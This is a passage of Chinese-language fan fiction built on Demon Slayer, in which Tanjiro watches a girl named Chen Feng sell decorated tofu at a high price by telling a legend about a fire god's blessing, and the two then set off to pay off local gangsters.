“这边是由火神赐福的好运豆腐,百鬼丸每通过一次关卡,火神的赐福便会化成这样带着特殊纹样的豆腐,而百鬼丸吃下后,他便会受到这样的祝福。” 炭治郎睁大了双眼,他努力崩住自己的神色,不漏出破绽,他心想:是么?这豆腐这么神奇? “真是如此吗?小姑娘,如果这是火神赐福的豆腐,又怎么会出现在你的手里?” 陈凤给那个说话的人一个赞誉的眼神:“这位大人问得好,为什么我能那么清楚的知道当年事情的经过?为什么我们能做出火神赐福的豆腐? 当然是因为我家世代都会在新年祭祀火神,为了向神明致以崇高的敬意,我灶门家的当家人便会跳一整晚的火之神神乐舞,向神明祈福,世世代代都是如此。终于,火神大人感动于我家的虔诚,将这个故事托梦给我家,并将这赐福豆腐的做法交给我们的!” 说着,陈凤感叹一声:“这都是火神大人的慈悲啊!” 说完,陈凤挥了挥手,道:“各位,若想吃到与百鬼丸同样的赐福豆腐,现在机会就眼前,临近过年,这样的机会可遇不可求,吃了这赐福豆腐,来年身体康健,家庭和睦,事业顺利,幸福美满啊!每一块豆腐不同的纹样代表着不同的祝福!” 经过那么长时间的说故事营销和铺垫,终于有人开口询问了:“那小老板,你这赐福豆腐多少钱?” 陈凤笑眯眯的说:“诚惠,10钱一块。” 当这个价钱从陈凤嘴里说出之后,炭治郎木然的闭上了眼,他虽然早知道陈凤的打算,但是心中一直觉得离谱,一块豆腐买10钱?炭治郎都已经做好被人怒骂殴打的准备了。 这就是他不愿意让弟妹们一同过来的原因,要是真挨打,有他这个当大哥的受着就够了。 而陈凤还在继续,她对着周围开始叫嚷: “这可是百鬼丸吃到的同款赐福豆腐,若是想如百鬼丸那样勇猛,且武运昌隆,那就来尝尝我家的赐福豆腐吧!” “既然是百鬼丸同款,那就给我一块吧!” “是啊,那我也来一块吧!” 当炭治郎听到竟然真有人愿意花10钱卖豆腐的时候,他猛然将眼睛睁开,他发现,竟然不止一个人购买,甚至许多人都对这豆腐非常感兴趣。 而这个时候陈凤还在那拱火。 “数量有限,先到先得,若是有顾客一口气集齐十二款火神赐福豆腐,便送百鬼丸同款绳结一枚,这枚绳结就是故事中,百鬼丸挂在刀鞘上的!” “什么?!” “诶呀,我家才四口人,顶多买四块,可惜了,真想要百鬼丸的绳结啊。” “小老板,我家人多,请给我十二份豆腐吧!” “那我也要,反正现如今天冷,豆腐好保存,给我来十二块!” 不得不说,霓虹真不愧是二次元的发源地,即便是在现如今的时代,想要买自推周边的心同样火热。 他们买的是豆腐吗?其实不是,他们是在为一个跌宕起伏的故事买单,他们都是平凡人,但是听着故事中英雄曲折的经历,同样忍不住共鸣,所以愿意花钱,只为了自己心中那个微不可见的梦想。 于是在炭治郎不可思议的目光中,那一车三百斤的豆腐,全部售卖一空了。 炭治郎不可置信,他一边机械的打包收钱,一边脑子里放空,这情况完全超出了他的认知了,三百斤豆腐,一斤卖10钱……而且完全售卖一空。 也就是说,他们一天赚了30块钱?! 一天30?什么概念啊!现如今公务员一个月工资才10到20块钱啊!他们一天就赚到了? 此时的炭治郎心中震惊压过了喜悦,他只觉得茫然,因为这实在是太超出他的认知了,在他的认知里,自己家人每年辛辛苦苦工作,一年下来才勉强温饱,为什么陈凤只是准备了几天,就能赚到他想都不敢想的数字呢? 至于陈凤所说的什么劳动成本,还有材料成本,炭治郎都不当回事。 给客人当包装用的竹盒,是从家中取材制作的,让豆腐带花纹的模具,也是他自己雕刻的,,除了为了让豆腐上花纹明显点,需要在压豆腐前在模具里提前放上些黑豆沙费功夫外,炭治郎没觉得有任何难度。 至于煮豆腐的炭火什么的,那些也是家里制作的,炭治郎觉得那根本算不得成本,硬要说成本就是那些豆子,但是一两块钱的成本去换三十块钱的收益,实在是让人心惊。 “炭治郎。” “啊,是!” 听到陈凤的声音,炭治郎下意识的挺直了腰板回答,现如今他对陈凤的敬佩已经深入到了骨子里。 在炭治郎看来,阿凤真的很厉害,她知道那么多有趣的知识,而且那么会赚钱,这样的她……将来一定会飞到更远的地方吧…… 炭治郎心中隐隐叹息,在他心中,如果阿凤能有更好的归宿,比起失落,他更多的是高兴。 不过……诶? 炭治郎看着陈凤难看的脸色,隐约觉得不对劲:“阿凤,你怎么了?” 明明赚到了那么多钱,为什么不高兴呢? “炭治郎,我们接下来有大麻烦了。” 陈凤一脸严肃的看着炭治郎,她示意炭治郎赶紧收拾东西,和她走。 “我们要去哪啊?” 虽然不明所以,但是炭治郎下意识的听从陈凤的行动。 “去町组,孝敬地头蛇。” 陈凤有些担忧,虽然挣到钱她很高兴,但是她今天实在是太低调了,有见识的家伙稍微一算,就能猜出她今天获利多少。 同行是冤家,将平民豆腐卖出了不可思议的价格,简直是戳他们的心啊。